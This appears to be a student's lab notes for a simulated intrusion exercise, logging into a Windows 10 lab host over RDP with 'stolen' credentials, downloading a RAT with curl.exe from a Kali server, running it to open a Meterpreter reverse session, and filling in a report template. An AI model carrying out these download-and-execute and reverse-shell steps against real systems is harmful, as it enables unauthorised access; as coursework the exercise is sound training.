😱Main Doc😱

🌲Darknet Credential Simulation🌲

• In this scenario, students simulate obtaining valid credentials from a compromised darknet database.

1. Authentication: Authenticate to the Windows 10 host using the stolen champuser credentials using RDP graphical login for authentication.
2. Payload Deployment: Once authenticated, open a command prompt and download the RAT binary from the C2 server using standard CLI download utilities.
3. Execution: Execute the downloaded RAT via the command line to establish a Meterpreter session.
4. Verification: Confirm successful deployment by showing on Kali the opened session.

📃General Constraints for Phase 1📃

• Privilege Level:
  • The resulting session must be champuser (Standard User). Attempts to escalate privileges immediately in this phase is not relevant and defeats the purpose of the Local Privilege Escalation in Phase 4.
• Interface Usage:
  • No GUI applications may be launched to manage the host, navigate directories, or verify service status. All verification must be achieved through command-line output.

🌹Kali VM🌹

• RDP Authentication:
  • xfreerdp3 /u:champuser /v:10.0.17.66 /cert:ignore
• When prompted: hit enter for username and domain, and then enter your windows password when asked.

---

• On kali start up a server for the tranfer process to start.

• In your RDP session via Kali, download the rat via the CLI:
  • curl.exe http://10.0.17.49:8000/rat1.exe -o C:\Users\champuser\Desktop\rat1.exe

---

---

🔨 🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨

---

Troubleshooting:

• My Windows firewall kept getting in the way of my session opening so I needed to set and change the rules:
  1. Through my RDP session I opened Windows Defnder Firewall and selected Outnound rules:
     • wf.msc

2. Select ports to define what needs to be blocked:
   • Rule Type: Port
   • Protocol and Ports: TCP , Specific remote ports: 44383
   • Action: Block the connection
   • Profile: all selected (Domain, Private, and Public)
   • Name: Reverse_shell

---

---

---

---

---

🔨 🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨🔨

---

• Execute the downloaded rat to start a meterpreter session:
  • C:\Users\champuser\Desktop\rat1.exe

Screenshot of session via Kali

---

📜Documentation for Phase 1📜

• Report Section:

  1. Describe the chosen access vector and the social engineering or credential acquisition premise.
  2. Provide a breakdown of the initial sessions output on the C2 server. Define what each column/field represents (e.g., ID, Type, Information, User, Host).
  3. List the specific CLI commands used to verify the foothold was established as champuser.

• Report Section 1:

  • The chosen access vector and the credential aquisition premise __________________________________________.

• Report Section 2:

Field	Meaning
ID	-
Type	-
Information	-
Connection	-

• Report Section 3:
  • CLI commands used to verify the foothold was established as champuser:
    • getuid

Screenshot

---

Resources:

Bypass Firewall Restrictions with Metasploit (reverse_tcp_allports)